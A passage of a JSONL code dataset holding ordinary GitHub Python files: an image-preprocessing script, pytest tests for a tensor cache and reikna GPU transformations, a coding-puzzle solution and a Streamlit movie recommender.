= 'D:/Lucha_Data/datasets/GOD/images/pretrain_all/'\n\n    \"\"\"\n    Randomly select images from validation if x and y > 100\n    Also filter out if aspect ratio is less than 0.67 or above 1.4\n    \n    NOTE: Some train VAEs on 60000 for 20 epochs = 1.2mil.\n    @ 20k samples, we do 75 epochs for 1.5mil\n    \n    \"\"\"\n    rnd_sample = False\n\n    if rnd_sample:\n        sample = random.sample(os.listdir(val_path), 49999)\n        sample_count = 0\n        for fname in sample:\n            srcpath = os.path.join(val_path, fname)\n            with Image.open(srcpath) as im:\n                x, y = im.size\n                ratio = x / y\n            if x > 100 and y > 100 and 0.67 < ratio < 1.4:\n                shutil.copy(srcpath, pretrain_dir)\n                sample_count += 1\n\n    # print(sample_count)\n                # if sample_count == 25000:\n                #     break\n\n    \"\"\"\n     Delete random batch of images to get from 31042 to 30000\n    \"\"\"\n    delete_rnd = False\n\n    if delete_rnd:\n        sample = random.sample(os.listdir(pretrain_dir), 1042)\n        for fname in sample:\n            filepath = os.path.join(pretrain_dir, fname)\n            os.remove(filepath)\n\n    \"\"\"\n    Copy all square images from validation to sqr_pretrain\n    \"\"\"\n    copy_fn = False # Do copy function?\n\n    if copy_fn:\n        copy_count = 0\n        for fname in os.listdir(val_path):\n            filepath = os.path.join(val_path, fname)\n            with Image.open(filepath) as im:\n                x, y = im.size\n            if x == y and x >= 100 and y >= 100:\n                shutil.copy(filepath, square_dir)\n                copy_count += 1\n            # if copy_count == 10000:\n            #     break\n\n    \"\"\"\n    Delete all images with size less than 100x\n    \"\"\"\n    delete_small = False\n\n    if delete_small:\n        for fname in os.listdir(pretrain_dir):\n            filepath = os.path.join(pretrain_dir, fname)\n            with Image.open(filepath) as im:\n                x, y = im.size\n            if x < 100 or y < 100:\n                os.remove(filepath)\n\n    \"\"\"\n    Read shape of images\n    \"\"\"\n    read_shape = False\n\n    if read_shape:\n        path = 'D:/Lucha_Data/datasets/GOD/images/train/'\n        transform = transforms.ToTensor()\n\n        for fname in os.listdir(path):\n            filepath = os.path.join(path, fname)\n            count = 0\n            with Image.open(filepath) as im:\n                image_tens = transform(im)\n                image_shape = image_tens.shape\n                # print(image_shape)\n            if not image_shape == [3, 500, 500]:\n                print(fname, image_shape)\n                count = count + 1\n                # print(fname)\n        print(count)\n\n        # Test opening greyscale image post transform\n        # transform = transforms.ToTensor()\n        grey = GreyToColor(500)\n\n        with Image.open('D:/Lucha_Data/datasets/GOD/images/train/n03512147_47076.JPEG') as image:\n            image = transform(image)\n            new_image = grey(image)\n            print(type(new_image))\n            print(new_image.shape)\n            plt.imshow(new_image.permute(1, 2, 0))\n            plt.show()\n","repo_name":"DavidLucha/ImageReconstructionNSD_Thesis","sub_path":"data/old/GOD_data_preprocess.py","file_name":"GOD_data_preprocess.py","file_ext":"py","file_size_in_byte":14378,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"70825767609","text":"from pathlib import Path\n\nimport pytest\nimport torch\n\nfrom invoke_training.training.shared.data.transforms.tensor_disk_cache import TensorDiskCache\n\n\ndef test_tensor_disk_cache_roundtrip(tmp_path: Path):\n    \"\"\"Test a TensorDiskCache cache roundtrip.\"\"\"\n    cache = TensorDiskCache(str(tmp_path))\n\n    in_dict = {\"test_tensor\": torch.rand((1, 2, 3)), \"test_tuple\": (1, 2), \"test_list\": [3, 4], \"test_scalar\": 1}\n\n    # Roundtrip\n    cache.save(0, in_dict)\n    out_dict = cache.load(0)\n\n    assert set(in_dict.keys()) == set(out_dict.keys())\n    torch.testing.assert_close(out_dict[\"test_tensor\"], in_dict[\"test_tensor\"])\n    assert out_dict[\"test_tuple\"] == in_dict[\"test_tuple\"]\n    assert out_dict[\"test_list\"] == in_dict[\"test_list\"]\n    assert out_dict[\"test_scalar\"] == in_dict[\"test_scalar\"]\n\n\ndef test_tensor_disk_cache_fail_overwrite(tmp_path):\n    \"\"\"Test that an attempt to overwrite an existing TensorDiskCache cache entry raises a ValueError.\"\"\"\n    cache = TensorDiskCache(str(tmp_path))\n    in_dict = {\"test_tensor\": torch.rand((1, 2, 3))}\n    cache.save(0, in_dict)\n\n    with pytest.raises(AssertionError):\n        cache.save(0, in_dict)\n","repo_name":"invoke-ai/invoke-training","sub_path":"tests/invoke_training/training/shared/data/transforms/test_tensor_disk_cache.py","file_name":"test_tensor_disk_cache.py","file_ext":"py","file_size_in_byte":1153,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"77"}
+{"seq_id":"73918016247","text":"import requests\nfrom data.write_data import WriteExcel\n\nexcel = WriteExcel()\n\n\ndef test_cases(url, cell):\n    r = requests.get(url, headers=header)\n    data = str(r.json())\n    excel.write_excel_xls(cell, data)\n\n\n\ntest_cases('D2')\n","repo_name":"Jescs/new_api","sub_path":"cases/test_cases.py","file_name":"test_cases.py","file_ext":"py","file_size_in_byte":231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"72535985850","text":"# This problem was asked by Uber\n#\n# Given an array of integers, return a new array such that each element at index i of the new array is \n# the product of all the numbers in the original array except the one at i.\n# For example, if our input was [1, 2, 3, 4, 5], the expected output would be [120, 60, 40, 30, 24].\n# If our input was [3, 2, 1], the expected output would be [2, 3, 6].\n#\n# Follow-up: what if you can't use division?\n\ndef create_products_arr(arr):\n    product = 1\n    for i in range(0, len(arr)):\n        product = product * arr[i]\n    \n    products_arr = []\n    for j in range(0, len(arr)):\n        products_arr.append(int(product / arr[j]))\n    \n    return products_arr\n\n\ndef create_products_arr_no_div(arr):\n    products_arr = []\n    for i in range(0, len(arr)):\n        product = 1\n        for j in range(0, len(arr)):\n            if j != i:\n                product = product * arr[j]\n        \n        products_arr.append(product)\n    \n    return products_arr\n\n\n# Test case, function should return [120, 60, 40, 30, 24]\nassert create_products_arr([1, 2, 3, 4, 5]) == [120, 60, 40, 30, 24]\nassert create_products_arr_no_div([1, 2, 3, 4, 5]) == [120, 60, 40, 30, 24]","repo_name":"cyjcao/daily-coding-problem","sub_path":"solutions/problem_002.py","file_name":"problem_002.py","file_ext":"py","file_size_in_byte":1184,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"28207783196","text":"import pickle\nimport streamlit as st\nimport requests\nimport numpy as np\n\nst.set_page_config(page_title=\"Movie Recommender\",page_icon=\"🎥\")\nst.markdown(\"\"\" <style>#MainMenu {visibility: hidden;}footer {visibility: hidden;}footer:after {content:'Built with ❤ by Sandip Palit'; visibility: visible;color:grey;display: block;position: relative;text-align: center;padding: 0px;}</style> \"\"\", unsafe_allow_html=True)\nst.markdown(f\"\"\" <style>.reportview-container .main .block-container{{padding-top: 5px;padding-right: 10px;padding-left: 10px;padding-bottom: 0px;}} </style> \"\"\", unsafe_allow_html=True)\nst.markdown(\"\"\"<style>button[title=\"View fullscreen\"]{visibility: hidden;}</style>\"\"\", unsafe_allow_html=True)\n\ndef fetch_poster(movie_id):\n    url = \"https://api.themoviedb.org/3/movie/{}?api_key=<YOUR_API_KEY>&language=en-US\".format(movie_id) # REPLACE <YOUR_API_KEY> WITH YOUR OWN API KEY FROM TMDB\n    data = requests.get(url)\n    data = data.json()\n    poster_path = data['poster_path']\n    full_path = \"https://image.tmdb.org/t/p/w500/\" + poster_path\n    return full_path\n\ndef recommend(movie):\n    index = movies[movies['title'] == movie].index[0]\n    distances = sorted(list(enumerate(similarity[index])), reverse=True, key=lambda x: x[1])\n    recommended_movie_names = []\n    recommended_movie_posters = []\n    for i in distances[1:6]:\n        # fetch the movie poster\n        movie_id = movies.iloc[i[0]].movie_id\n        recommended_movie_posters.append(fetch_poster(movie_id))\n        recommended_movie_names.append(movies.iloc[i[0]].title)\n    return recommended_movie_names,recommended_movie_posters\n\n\nmovies = pickle.load(open('model/movie.pkl','rb'))\nsimilarity = pickle.load(open('model/similarity.pkl','rb'))\nmovie_list = movies['title'].values\nmovie_list = np.insert(movie_list, 0, \"\", axis=0)\n\nst.header('Movie Recommender System')\nselected_movie = st.selectbox(\"Please type or select a movie from the dropdown\",movie_list)\n\nif st.button('Show Recommendation'):\n    if selected_movie==\"\":\n        st.error(\"Please type or select a movie from the dropdown!!\")\n    else:\n        try:\n            with st.spinner('We are finding the best recommendations for you.. Please wait!!'):\n                recommended_movie_names,recommended_movie_posters = recommend(selected_movie)\n                col1, col2, col3, col4, col5 = st.columns(5)\n            with col1:\n                st.image(recommended_movie_posters[0])\n                st.write(recommended_movie_names[0])\n            with col2:\n                st.image(recommended_movie_posters[1])\n                st.write(recommended_movie_names[1])\n            with col3:\n                st.image(recommended_movie_posters[2])\n                st.write(recommended_movie_names[2])\n            with col4:\n                st.image(recommended_movie_posters[3])\n                st.write(recommended_movie_names[3])\n            with col5:\n                st.image(recommended_movie_posters[4])\n                st.write(recommended_movie_names[4])\n\n        except:\n            st.error(\"We are unable to find this movie.. Please try another movie!!\")","repo_name":"SandipPalit/Movie-Recommender","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3112,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"42163930912","text":"import numpy\nimport pytest\n\nfrom reikna.core import Parameter, Annotation, Transformation\nfrom reikna.core.signature import Type\nfrom reikna.cluda import functions, cuda_id\n\nfrom reikna.algorithms import PureParallel\nfrom reikna import transformations\n\nfrom helpers import *\nfrom test_core.dummy import *\n\n\n# Some transformations to use by tests\n\n# Identity transformation: Output = Input\ndef tr_identity(arr):\n    return Transformation(\n        [Parameter('o1', Annotation(arr, 'o')),\n        Parameter('i1', Annotation(arr, 'i'))],\n        \"${o1.store_same}(${i1.load_same});\")\n\n# Output = Input1 * Parameter1 + Input 2\ndef tr_2_to_1(arr, scalar):\n    return Transformation(\n        [Parameter('o1', Annotation(arr, 'o')),\n        Parameter('i1', Annotation(arr, 'i')),\n        Parameter('i2', Annotation(arr, 'i')),\n        Parameter('s1', Annotation(scalar))],\n        \"\"\"\n        ${o1.ctype} t = ${mul}(${cast}(${s1}), ${i1.load_same});\n        ${o1.store_same}(t + ${i2.load_same});\n        \"\"\",\n        render_kwds= dict(\n            mul=functions.mul(arr.dtype, arr.dtype),\n            cast=functions.cast(arr.dtype, scalar.dtype)))\n\n# Output1 = Input / 2, Output2 = Input / 2\ndef tr_1_to_2(arr):\n    return Transformation(\n        [Parameter('o1', Annotation(arr, 'o')),\n        Parameter('o2', Annotation(arr, 'o')),\n        Parameter('i1', Annotation(arr, 'i'))],\n        \"\"\"\n        ${o1.ctype} t = ${mul}(${i1.load_same}, 0.5);\n        ${o1.store_same}(t);\n        ${o2.store_same}(t);\n        \"\"\",\n        render_kwds=dict(\n            mul=functions.mul(arr.dtype, numpy.float32)))\n\n\ndef test_io_parameter_in_transformation():\n    with pytest.raises(ValueError):\n        tr = Transformation(\n            [Parameter('o1', Annotation(Type(numpy.float32, shape=100), 'io'))],\n            \"${o1.store_same}(${o1.load_same});\")\n\n\ndef test_signature_correctness():\n\n    N = 200\n    coeff_dtype = numpy.float32\n    arr_type = Type(numpy.complex64, (N, N))\n\n    d = Dummy(arr_type, arr_type, coeff_dtype, same_A_B=True)\n\n    # Root signature\n    assert list(d.signature.parameters.values()) == [\n        Parameter('C', Annotation(arr_type, 'o')),\n        Parameter('D', Annotation(arr_type, 'o')),\n        Parameter('A', Annotation(arr_type, 'i')),\n        Parameter('B', Annotation(arr_type, 'i')),\n        Parameter('coeff', Annotation(coeff_dtype))]\n\n    identity = tr_identity(d.parameter.A)\n    join = tr_2_to_1(d.parameter.A, d.parameter.coeff)\n    split = tr_1_to_2(d.parameter.A)\n    scale = tr_scale(d.parameter.A, d.parameter.coeff.dtype)\n\n    # Connect some transformations\n    d.parameter.A.connect(identity, identity.o1, A_prime=identity.i1)\n    d.parameter.B.connect(join, join.o1, A_prime=join.i1, B_prime=join.i2, B_param=join.s1)\n    d.parameter.B_prime.connect(identity, identity.o1, B_new_prime=identity.i1)\n    d.parameter.C.connect(split, split.i1, C_half1=split.o1, C_half2=split.o2)\n    d.parameter.C_half1.connect(identity, identity.i1, C_new_half1=identity.o1)\n    d.parameter.D.connect(scale, scale.i1, D_prime=scale.o1, D_param=scale.s1)\n\n    assert list(d.signature.parameters.values()) == [\n        Parameter('C_new_half1', Annotation(arr_type, 'o')),\n        Parameter('C_half2', Annotation(arr_type, 'o')),\n        Parameter('D_prime', Annotation(arr_type, 'o')),\n        Parameter('D_param', Annotation(coeff_dtype)),\n        Parameter('A_prime', Annotation(arr_type, 'i')),\n        Parameter('B_new_prime', Annotation(arr_type, 'i')),\n        Parameter('B_param', Annotation(coeff_dtype)),\n        Parameter('coeff', Annotation(coeff_dtype))]\n\n\ndef test_same_shape(thr):\n\n    N = 200\n    coeff = 2\n    B_param = 3\n    D_param = 4\n\n    coeff_dtype = numpy.float32\n    arr_type = Type(numpy.complex64, (N, N))\n\n    d = Dummy(arr_type, arr_type, coeff_dtype, same_A_B=True)\n\n    identity = tr_identity(d.parameter.A)\n    join = tr_2_to_1(d.parameter.A, d.parameter.coeff)\n    split = tr_1_to_2(d.parameter.A)\n    scale = tr_scale(d.parameter.A, d.parameter.coeff.dtype)\n\n    d.parameter.A.connect(identity, identity.o1, A_prime=identity.i1)\n    d.parameter.B.connect(join, join.o1, A_prime=join.i1, B_prime=join.i2, B_param=join.s1)\n    d.parameter.B_prime.connect(identity, identity.o1, B_new_prime=identity.i1)\n    d.parameter.C.connect(split, split.i1, C_half1=split.o1, C_half2=split.o2)\n    d.parameter.C_half1.connect(identity, identity.i1, C_new_half1=identity.o1)\n    d.parameter.D.connect(scale, scale.i1, D_prime=scale.o1, D_param=scale.s1)\n    dc = d.compile(thr)\n\n    A_prime = get_test_array_like(d.parameter.A_prime)\n    B_new_prime = get_test_array_like(d.parameter.B_new_prime)\n\n    A_prime_dev = thr.to_device(A_prime)\n    B_new_prime_dev = thr.to_device(B_new_prime)\n    C_new_half1_dev = thr.empty_like(d.parameter.A_prime)\n    C_half2_dev = thr.empty_like(d.parameter.A_prime)\n    D_prime_dev = thr.empty_like(d.parameter.A_prime)\n\n    dc(\n        C_new_half1_dev, C_half2_dev,\n        D_prime_dev, D_param,\n        A_prime_dev, B_new_prime_dev,\n        B_param, coeff)\n\n    A = A_prime\n    B = A_prime * B_param + B_new_prime\n    C, D = mock_dummy(A, B, coeff)\n    C_new_half1 = C / 2\n    C_half2 = C / 2\n    D_prime = D * D_param\n\n    assert diff_is_negligible(C_new_half1_dev.get(), C_new_half1)\n    assert diff_is_negligible(C_half2_dev.get(), C_half2)\n    assert diff_is_negligible(D_prime_dev.get(), D_prime)\n\n\ndef test_connection_to_base(thr):\n\n    N = 200\n    coeff = 2\n\n    coeff_dtype = numpy.float32\n    arr_type = Type(numpy.complex64, (N, N))\n\n    d = Dummy(arr_type, arr_type, coeff_dtype, same_A_B=True)\n\n    identity = tr_identity(d.parameter.A)\n    scale = tr_scale(d.parameter.A, d.parameter.coeff.dtype)\n\n    # connect to the base array argument (effectively making B the same as A)\n    d.parameter.A.connect(identity, identity.o1, B=identity.i1)\n    # connect to the base scalar argument\n    d.parameter.C.connect(scale, scale.i1, C_prime=scale.o1, coeff=scale.s1)\n\n    assert list(d.signature.parameters.values()) == [\n        Parameter('C_prime', Annotation(arr_type, 'o')),\n        Parameter('D', Annotation(arr_type, 'o')),\n        Parameter('B', Annotation(arr_type, 'i')),\n        Parameter('coeff', Annotation(coeff_dtype))]\n\n    dc = d.compile(thr)\n\n    B = get_test_array_like(d.parameter.B)\n    B_dev = thr.to_device(B)\n    C_prime_dev = thr.empty_like(d.parameter.B)\n    D_dev = thr.empty_like(d.parameter.B)\n\n    dc(C_prime_dev, D_dev, B_dev, coeff)\n\n    C, D = mock_dummy(B, B, coeff)\n    C_prime = C * coeff\n\n    assert diff_is_negligible(C_prime_dev.get(), C_prime)\n    assert diff_is_negligible(D_dev.get(), D)\n\n\ndef test_nested_same_shape(thr):\n\n    N = 2000\n    coeff = 2\n    second_coeff = 7\n    B_param = 3\n    D_param = 4\n\n    coeff_dtype = numpy.float32\n    arr_type = Type(numpy.complex64, (N, N))\n\n    d = DummyNested(arr_type, arr_type, coeff_dtype, second_coeff, same_A_B=True)\n\n    identity = tr_identity(d.parameter.A)\n    join = tr_2_to_1(d.parameter.A, d.parameter.coeff)\n    split = tr_1_to_2(d.parameter.A)\n    scale = tr_scale(d.parameter.A, d.parameter.coeff.dtype)\n\n    d.parameter.A.connect(identity, identity.o1, A_prime=identity.i1)\n    d.parameter.B.connect(join, join.o1, A_prime=join.i1, B_prime=join.i2, B_param=join.s1)\n    d.parameter.B_prime.connect(identity, identity.o1, B_new_prime=identity.i1)\n    d.parameter.C.connect(split, split.i1, C_half1=split.o1, C_half2=split.o2)\n    d.parameter.C_half1.connect(identity, identity.i1, C_new_half1=identity.o1)\n    d.parameter.D.connect(scale, scale.i1, D_prime=scale.o1, D_param=scale.s1)\n    dc = d.compile(thr)\n\n    A_prime = get_test_array_like(d.parameter.A_prime)\n    B_new_prime = get_test_array_like(d.parameter.B_new_prime)\n\n    A_prime_dev = thr.to_device(A_prime)\n    B_new_prime_dev = thr.to_device(B_new_prime)\n    C_new_half1_dev = thr.empty_like(d.parameter.A_prime)\n    C_half2_dev = thr.empty_like(d.parameter.A_prime)\n    D_prime_dev = thr.empty_like(d.parameter.A_prime)\n\n    dc(\n        C_new_half1_dev, C_half2_dev,\n        D_prime_dev, D_param,\n        A_prime_dev, B_new_prime_dev,\n        B_param, coeff)\n\n    A = A_prime\n    B = A_prime * B_param + B_new_prime\n    C, D = mock_dummy_nested(A, B, coeff, second_coeff)\n    C_new_half1 = C / 2\n    C_half2 = C / 2\n    D_prime = D * D_param\n\n    assert diff_is_negligible(C_new_half1_dev.get(), C_new_half1)\n    assert diff_is_negligible(C_half2_dev.get(), C_half2)\n    assert diff_is_negligible(D_prime_dev.get(), D_prime)\n\n\ndef test_strings_as_parameters():\n    \"\"\"\n    Check that one can connect transformations using strings as identifiers\n    for computation and transformation parameters.\n    \"\"\"\n\n    N = 200\n    coeff_dtype = numpy.float32\n    arr_type = Type(numpy.complex64, (N, N))\n\n    d = Dummy(arr_type, arr_type, coeff_dtype, same_A_B=True)\n    identity = tr_identity(d.parameter.A)\n\n    d.connect('A', identity, 'o1', A_prime='i1')\n\n    assert list(d.signature.parameters.values()) == [\n        Parameter('C', Annotation(arr_type, 'o')),\n        Parameter('D', Annotation(arr_type, 'o')),\n        Parameter('A_prime', Annotation(arr_type, 'i')),\n        Parameter('B', Annotation(arr_type, 'i')),\n        Parameter('coeff', Annotation(coeff_dtype))]\n\n\ndef test_alien_parameters():\n    \"\"\"\n    Check that one cannot connect transformations using parameter objects from\n    other transformation/computation.\n    \"\"\"\n\n    N = 200\n    coeff_dtype = numpy.float32\n    arr_type = Type(numpy.complex64, (N, N))\n\n    d = Dummy(arr_type, arr_type, coeff_dtype, same_A_B=True)\n    d2 = Dummy(arr_type, arr_type, coeff_dtype, same_A_B=True)\n    identity = tr_identity(d.parameter.A)\n    identity2 = tr_identity(d.parameter.A)\n\n    with pytest.raises(ValueError):\n        d.connect(d2.parameter.A, identity, 'o1', A_prime='i1')\n\n    with pytest.raises(ValueError):\n        d.connect(d.parameter.A, identity, identity2.o1, A_prime='i1')\n\n    with pytest.raises(ValueError):\n        d.parameter.A.connect(identity, identity.o1, A_prime=identity2.i1)\n\n\ndef test_connector_repetition():\n    \"\"\"Check that the connector id cannot be repeated in the connections list.\"\"\"\n\n    N = 200\n    coeff_dtype = numpy.float32\n    arr_type = Type(numpy.complex64, (N, N))\n\n    d = Dummy(arr_type, arr_type, coeff_dtype, same_A_B=True)\n    identity = tr_identity(d.parameter.A)\n\n    with pytest.raises(ValueError):\n        d.parameter.A.connect(identity, identity.o1, A=identity.o1, A_prime=identity.i1)\n\n\ndef test_wrong_connector():\n    \"\"\"Check that the error is thrown if the connector is unknown or is not in the signature.\"\"\"\n\n    N = 200\n    coeff_dtype = numpy.float32\n    arr_type = Type(numpy.complex64, (N, N))\n\n    d = Dummy(arr_type, arr_type, coeff_dtype, same_A_B=True)\n    identity = tr_identity(d.parameter.A)\n\n    d.parameter.A.connect(identity, identity.o1, A_prime=identity.i1)\n\n    # Connector is missing\n    with pytest.raises(ValueError):\n        d.connect('AA', identity, identity.o1, A_pp=identity.i1)\n\n    # Node 'A' exists, but it is not a part of the signature\n    # (hidden by previously connected transformation).\n    with pytest.raises(ValueError):\n        d.connect('B', identity, identity.o1, A=identity.i1)\n\n\ndef test_type_mismatch():\n    \"\"\"Check that the error is thrown if the connection is made to an wrong type.\"\"\"\n\n    N = 200\n    coeff_dtype = numpy.float32\n    arr_type = Type(numpy.complex64, (N, N))\n\n    d = Dummy(arr_type, arr_type, coeff_dtype, same_A_B=True)\n    identity = tr_identity(Type(numpy.complex64, (N, N + 1)))\n\n    with pytest.raises(ValueError):\n        d.connect('A', identity, identity.o1, A_prime=identity.i1)\n\n\ndef test_wrong_data_path():\n    \"\"\"\n    Check that the error is thrown if the connector is a part of the signature,\n    but this particular data path (input or output) is already hidden\n    by a previously connected transformation.\n    \"\"\"\n\n    N = 200\n    coeff_dtype = numpy.float32\n    arr_type = Type(numpy.complex64, (N, N))\n\n    d = DummyAdvanced(arr_type, coeff_dtype)\n    identity = tr_identity(d.parameter.C)\n\n    d.parameter.C.connect(identity, identity.o1, C_in=identity.i1)\n    d.parameter.D.connect(identity, identity.i1, D_out=identity.o1)\n    assert list(d.signature.parameters.values()) == [\n        Parameter('C', Annotation(arr_type, 'o')),\n        Parameter('C_in', Annotation(arr_type, 'i')),\n        Parameter('D_out', Annotation(arr_type, 'o')),\n        Parameter('D', Annotation(arr_type, 'i')),\n        Parameter('coeff1', Annotation(coeff_dtype)),\n        Parameter('coeff2', Annotation(coeff_dtype))]\n\n    # Now input to C is hidden by the previously connected transformation\n    with pytest.raises(ValueError):\n        d.parameter.C.connect(identity, identity.o1, C_in_prime=identity.i1)\n\n    # Same goes for D\n    with pytest.raises(ValueError):\n        d.parameter.D.connect(identity, identity.i1, D_out_prime=identity.o1)\n\n    # Also we cannot make one of the transformation outputs an existing output parameter\n    with pytest.raises(ValueError):\n        d.parameter.C.connect(identity, identity.i1, D_out=identity.o1)\n\n    # Output of C is still available though\n    d.parameter.C.connect(identity, identity.i1, C_out=identity.o1)\n    assert list(d.signature.parameters.values()) == [\n        Parameter('C_out', Annotation(arr_type, 'o')),\n        Parameter('C_in', Annotation(arr_type, 'i')),\n        Parameter('D_out', Annotation(arr_type, 'o')),\n        Parameter('D', Annotation(arr_type, 'i')),\n        Parameter('coeff1', Annotation(coeff_dtype)),\n        Parameter('coeff2', Annotation(coeff_dtype))]\n\n\ndef test_wrong_transformation_parameters():\n    \"\"\"\n    Check that the error is thrown if the list of transformation parameter names\n    does not coincide with actual names.\n    \"\"\"\n\n    N = 200\n    coeff_dtype = numpy.float32\n    arr_type = Type(numpy.complex64, (N, N))\n\n    d = Dummy(arr_type, arr_type, coeff_dtype, same_A_B=True)\n    identity = tr_identity(d.parameter.A)\n\n    # ``identity`` does not have ``input`` parameter\n    with pytest.raises(ValueError):\n        d.parameter.A.connect(identity, identity.o1, A_prime='input')\n\n    # ``identity`` does not have ``i2`` parameter\n    with pytest.raises(ValueError):\n        d.parameter.A.connect(identity, identity.o1, A_prime=identity.i1, A2='i2')\n\n\ndef test_io_merge(some_thr):\n    \"\"\"\n    Check that one can end input and output transformation in the same node\n    thus making its role 'io'.\n    \"\"\"\n\n    N = 200\n    coeff1 = 3\n    coeff2 = 4\n    scale_in = 0.5\n    scale_out = 0.3\n    arr_type = Type(numpy.complex64, (N, N))\n    coeff_dtype = numpy.float32\n\n    C = get_test_array_like(arr_type)\n    D = get_test_array_like(arr_type)\n    C_dev = some_thr.to_device(C)\n    D_dev = some_thr.to_device(D)\n\n    d = DummyAdvanced(C, coeff_dtype)\n    scale = tr_scale(d.parameter.C, d.parameter.coeff1.dtype)\n    d.parameter.C.connect(scale, scale.o1, C_prime=scale.i1, scale_in=scale.s1)\n    d.parameter.C.connect(scale, scale.i1, C_prime=scale.o1, scale_out=scale.s1)\n    assert list(d.signature.parameters.values()) == [\n        Parameter('C_prime', Annotation(arr_type, 'io')),\n        Parameter('scale_out', Annotation(coeff_dtype)),\n        Parameter('scale_in', Annotation(coeff_dtype)),\n        Parameter('D', Annotation(arr_type, 'io')),\n        Parameter('coeff1', Annotation(coeff_dtype)),\n        Parameter('coeff2', Annotation(coeff_dtype))]\n\n    dc = d.compile(some_thr)\n    dc(C_dev, scale_out, scale_in, D_dev, coeff1, coeff2)\n\n    C_ref, D_ref = mock_dummy_advanced(C * scale_in, D, coeff1, coeff2)\n    C_ref *= scale_out\n\n    C = C_dev.get()\n    D = D_dev.get()\n\n    assert diff_is_negligible(C, C_ref)\n    assert diff_is_negligible(D, D_ref)\n\n\nclass ExpressionIndexing(Computation):\n    \"\"\"\n    A computation for the test below, with expressions passed to indexing functions.\n    Used to check that macro parameters in transformation modules are properly decorated.\n    \"\"\"\n\n    def __init__(self, arr_t):\n        assert len(arr_t.shape) == 2\n\n        # reset strides/offset of the input and return a contiguous array\n        res_t = Type(arr_t.dtype, arr_t.shape)\n        Computation.__init__(self, [\n            Parameter('output', Annotation(res_t, 'o')),\n            Parameter('input', Annotation(arr_t, 'i'))\n            ])\n\n    def _build_plan(self, plan_factory, device_params, output, input_):\n        plan = plan_factory()\n\n        template = template_from(\"\"\"\n        <%def name=\"kernel(kernel_declaration, output, input)\">\n        ${kernel_declaration}\n        {\n            VIRTUAL_SKIP_THREADS;\n            VSIZE_T idx0 = virtual_global_id(0);\n            VSIZE_T idx1 = virtual_global_id(1);\n\n            ${output.ctype} a = ${input.load_idx}(idx0 + 1 - 1, idx1);\n            ${output.store_idx}(idx0 + 1 - 1, idx1, a * 2);\n        }\n        </%def>\n        \"\"\")\n\n        plan.kernel_call(\n            template.get_def('kernel'),\n            [output, input_],\n            global_size=output.shape)\n\n        return plan\n\n\ndef test_transformation_macros(thr):\n    \"\"\"\n    Regression test for #27.\n    When expressions are passed to leaf load_idx/store_idx macros,\n    they are not processed correctly, because the corresponding parameters are used\n    without parenthesis in their bodies.\n    Namely, the error happens when the flat index is generated out of per-dimension indices.\n    \"\"\"\n\n    N = 1000\n    dtype = numpy.float32\n\n    # The array should be 2D in order for the flat index generation expression to be non-trivial.\n    a = get_test_array((N, 2), dtype)\n\n    comp = ExpressionIndexing(a)\n    a_dev = thr.to_device(a)\n    res_dev = thr.empty_like(comp.parameter.output)\n\n    compc = comp.compile(thr)\n    compc(res_dev, a_dev)\n\n    res_ref = a * 2\n\n    assert diff_is_negligible(res_dev.get(), res_ref)\n\n\ndef test_array_views(thr):\n\n    a = get_test_array((6, 8, 10), numpy.int32)\n\n    a_dev = thr.to_device(a)\n    b_dev = thr.empty_like(a)\n\n    in_view = a_dev[2:4, ::2, ::-1]\n    out_view = b_dev[4:, 1:5, :]\n\n    move = PureParallel.from_trf(\n        transformations.copy(in_view, out_arr_t=out_view),\n        guiding_array='output').compile(thr)\n\n    move(out_view, in_view)\n    b_res = b_dev.get()[4:, 1:5, :]\n    b_ref = a[2:4, ::2, ::-1]\n\n    assert diff_is_negligible(b_res, b_ref)\n\n\ndef test_array_offset(thr):\n\n    dtype = numpy.uint32\n    itemsize = dtypes.normalize_type(dtype).itemsize\n    offset_len = 10\n    arr_len = 16\n\n    # internal creation of the base array\n    a1 = thr.array((arr_len,), dtype, offset=itemsize * offset_len)\n\n    # providing base\n    a2_base = thr.array((arr_len + offset_len,), dtype)\n    a2 = thr.array((arr_len,), dtype, offset=itemsize * offset_len, base=a2_base)\n\n    # providing base_data\n    a3_base = thr.array((arr_len + offset_len,), dtype)\n    a3_data = a3_base.base_data\n    a3 = thr.array((arr_len,), dtype, offset=itemsize * offset_len, data=a3_data)\n\n    fill = PureParallel(\n        [\n            Parameter('output1', Annotation(a1, 'o')),\n            Parameter('output2', Annotation(a2, 'o')),\n            Parameter('output3', Annotation(a3, 'o')),\n        ],\n        \"\"\"\n        ${output1.store_idx}((int)${idxs[0]} - ${offset_len}, ${idxs[0]});\n        ${output2.store_idx}((int)${idxs[0]} - ${offset_len}, ${idxs[0]});\n        ${output3.store_idx}((int)${idxs[0]} - ${offset_len}, ${idxs[0]});\n        \"\"\",\n        render_kwds=dict(offset_len=offset_len),\n        guiding_array=(arr_len + offset_len,)\n        ).compile(thr)\n\n    fill(a1, a2, a3)\n\n    offset_range = numpy.arange(offset_len, arr_len + offset_len).astype(dtype)\n    full_range = numpy.arange(arr_len + offset_len).astype(dtype)\n\n    assert diff_is_negligible(a1.get(), offset_range)\n\n    assert diff_is_negligible(a2_base.get(), full_range)\n    assert diff_is_negligible(a2.get(), offset_range)\n\n    assert diff_is_negligible(a3_base.get(), full_range)\n    assert diff_is_negligible(a3.get(), offset_range)\n\n","repo_name":"fjarri/reikna","sub_path":"test/test_core/test_transformation.py","file_name":"test_transformation.py","file_ext":"py","file_size_in_byte":19873,"program_lang":"python","lang":"en","doc_type":"code","stars":163,"dataset":"github-code","pt":"77"}
